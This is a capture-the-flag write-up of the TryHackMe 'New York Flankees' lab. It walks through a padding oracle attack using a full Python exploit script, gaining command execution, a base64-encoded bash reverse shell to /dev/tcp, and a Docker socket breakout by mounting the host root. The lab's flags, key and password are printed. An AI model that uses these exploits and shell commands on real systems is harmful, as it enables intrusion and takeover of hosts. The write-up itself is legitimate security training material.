Post

New York Flankees Write-up - TryHackMe

Padding Oracle Attack, Code Injection and Docker Breakout.

New York Flankees is a medium level boot2root challenge. I liked this challenge because that was my first time to perform an Padding Oracle Attack, though I learned about it on CryptoPals Challenges.

Enumeration

As always, I started with an Nmap scan.

1
2
3
4
5
6
7
8
└─$ nmap 10.10.133.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-26 09:15 EDT
Nmap scan report for 10.10.133.62 (10.10.133.62)
Host is up (0.092s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Web Server

Run a Gobuster scan to find hidden directories and I found login.html and debug.html.

Login page was not much useful because I didn’t have any credentials though I tried some common ones.

login

Moved on to debug.html and saw that there was a hardcoded AES/CBC/PKCS encrypted payload with JavaScript.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    function stefanTest1002() {
        var xhr = new XMLHttpRequest();
        var url = "http://localhost/api/debug";
        // Submit the AES/CBC/PKCS payload to get an auth token
        // TODO: Finish logic to return token
        xhr.open("GET", url + "/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4", true);

        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4 && xhr.status === 200) {
                console.log("Response: ", xhr.responseText);
            } else {
                console.error("Failed to send request.");
            }
        };
        xhr.send();
    }

I tried to decode the payload using CyberChef and other tools but it was essentially encrypted with a key that I didn’t have.

Padding Oracle Attack

Normally, the request’s itself was enough to authenticate the user but the developer has not implemented the logic to return the token yet. So when the request is sent, the server just informs the user that the request was successful.

1
2
└─$ curl http://10.10.133.62:8080/api/debug/39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4
Custom authentication success

I changed the payload and sent it again:

1
2
└─$ curl http://10.10.133.62:8080/api/debug/111111111111111      
Decryption error

This was a gauge that we may perform a Padding Oracle Attack. To learn about more about this attack, you can check Wikipedia Page here.

Some people use tools like PadBuster but I prefer to write my own script. It’s a bit of messy but works for me. Used asyncio and aiohttp to send requests concurrently, which reduced the time to decrypt the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from Crypto.Util.Padding import unpad
import aiohttp, asyncio

URL = "http://10.10.133.62:8080"

burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Origin": "http://10.10.133.62:8080", "Connection": "close", "Referer": "http://10.10.133.62:8080/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "cross-site"}

async def sendReq(session:aiohttp.ClientSession, url):
    try:
        async with session.get(url)  as resp:
            return  resp.status == 200 
    except:
        return False
    
async def scan(KNOWN:list,secondCipherText:bytes):
    URLS = []
    for i in range(256):
        pl = (15 - len(KNOWN))*b"A" + bytes([i]) + bytes(KNOWN)
        sendThis  = pl + secondCipherText
        burp0_url = f"{URL}/api/debug/{sendThis.hex()}"
        URLS.append(burp0_url)
    
    async with aiohttp.ClientSession( headers=burp0_headers) as session:
        tasks = []
        for url in URLS:
            tasks.append(asyncio.ensure_future(sendReq(session, url)))

        results = await asyncio.gather(*tasks)
        for i in range(len(results)):
            if results[i] == True:
                return i


async def bruteforce( C1:bytes, C2:bytes):
    known = [] #known list contains intermediate state bytes, which play cruical role in decryption process. It contains only ints.
    decrypted_message = b""
    for attackByte in range(15,-1,-1):
        pl_prime = 16-attackByte #aim padding, 1 , 2, 3, 4 ...
        temp_known = [i ^ (len(known) + 1) for i in known]
        cl_prime = await scan(temp_known,C2)
        known.insert(0,cl_prime ^ pl_prime)
        decrypted_message += bytes([(pl_prime^cl_prime^C1[attackByte])])
    return decrypted_message

async def oracleAttack(encrypted:bytes,iv : bytes = None):  # just use this for 2 block ciphertexts
    DECRYPTED_MESSAGE = b""
    r = len (encrypted)
    while(r > 16):
        C1 = encrypted[r-32:r-16] 
        C2 = encrypted[r-16:r]
        DECRYPTED_MESSAGE += await bruteforce(C1, C2)
        r-=16
    if iv: #iv makes it possible to decrypt the first block.
        C1 = iv
        C2 = encrypted[:16] 
        DECRYPTED_MESSAGE += await bruteforce( C1, C2)
    return DECRYPTED_MESSAGE

if __name__ == "__main__":
    encrypted = bytes.fromhex("39353661353931393932373334633638EA0DCC6E567F96414433DDF5DC29CDD5E418961C0504891F0DED96BA57BE8FCFF2642D7637186446142B2C95BCDEDCCB6D8D29BE4427F26D6C1B48471F810EF4")
    iv = b'956a591992734c68' # iv is the first block of the ciphertext in this case.
    encrypted = encrypted[16:]
    decrypted =asyncio.run( oracleAttack(encrypted,iv)  ) 
    decrypted = unpad(decrypted[::-1],16)
    print(decrypted)

And the output was:

1
2
└─$ python3 oracle_padding_attack.py 
b'stefan1197:ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599'

Code Execution

Using the credentials, I logged in and found a page where I can execute commands. (/exec.html)

exec

I tried to execute some commands. Prepared a reverse shell as a base64 encoded string and copied it to the remote server’s /tmp directory.

1
2
└─$ echo "bash -c 'bash -i >& /dev/tcp/10.14.84.35/12345 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC44NC4zNS8xMjM0NSAwPiYxJwo=
  1. echo "YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC44NC4zNS8xMjM0NSAwPiYxJwo=" | base64 -d > /tmp/shell.sh
  2. chmod +x /tmp/shell.sh
  3. ./tmp/shell.sh

I need to execute those command consecutively because the server did not allow me to execute multiple commands. I lost some time just because of this.

Started a listener and executed the shell script.

1
2
3
4
└─$ nc -nlvp 4444 
listening on [any] 4444 ...
connect to [10.14.84.35] from (UNKNOWN) [10.10.133.62] 36034
root@02e849f307cc:/#

That was a Docker container. I checked env variables and found the docker flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect to [10.14.84.35] from (UNKNOWN) [10.10.133.62] 36034
root@02e849f307cc:/# env
env
HOSTNAME=02e849f307cc
JAVA_HOME=/usr/local/openjdk-11
PWD=/
CTF_USERNAME=stefan1197
HOME=/root
LANG=C.UTF-8
CTF_DOCKER_FLAG=THM{342878cd14051bd787352ee73c75381b1803491e4e5ac729a91a03e3c889c2bf}
CTF_RESOURCES=/app/src/resources
CTF_ENCRYPTION_IV=956a591992734c68
SHLVL=2
CTF_ENCRYPTION_KEY=2d3981f51f18b0b9568521bb39f06e5b
PATH=/usr/local/openjdk-11/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CTF_ADMIN_PANEL_FLAG=THM{a4113536187c6e84637a1ee2ec5359eca17bbbd1b2629b23dbfd3b4ce2f30604}
CTF_PASSWORD=ebb2B76@62#f??7cA6B76@6!@62#f6dacd2599
JAVA_VERSION=11.0.16
_=/usr/bin/env

Docker Breakout

Interestingly, I could run docker commands.

1
2
3
root@02e849f307cc:/# docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED        STATUS       PORTS                                       NAMES
02e849f307cc   padding-oracle-app_web   "java -jar /app/ktor…"   2 months ago   Up 2 hours   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   padding-oracle-app_web_1

This container was the container that I was in. So I created a new container to escape from the current one.

1
2
3
4
5
6
7
8
9
10
11
root@02e849f307cc:/# docker images
docker images
REPOSITORY               TAG       IMAGE ID       CREATED         SIZE
padding-oracle-app_web   latest    cd6261dd9dda   2 months ago    1.01GB
<none>                   <none>    4187efabd0a5   2 months ago    704MB
gradle                   7-jdk11   d5954e1d9fa4   2 months ago    687MB
openjdk                  11        47a932d998b7   24 months ago   654MB
root@02e849f307cc:/# docker run -v /:/mnt --rm -it 4187efabd0a5 chroot /mnt sh
# ls
bin   dev  flag.txt  lib    lib64   lost+found     mnt  proc  run   snap  sys  usr
boot  etc  home      lib32  libx32  media       opt  root  sbin  srv   tmp  var

Final flag:

1
2
# cat flag.txt
THM{b3653cb04abf4a5b9c7a77ec52f550e73416b6e61015b8014fff9831a7eb61ce}

Conclusion

New York Flankees was a decent challenge. Especially the Padding Oracle Attack was a good practice. Feel free to reach out to me if you have any questions or suggestions from Twitter @sarperavci.

This post is licensed under CC BY 4.0 by the author.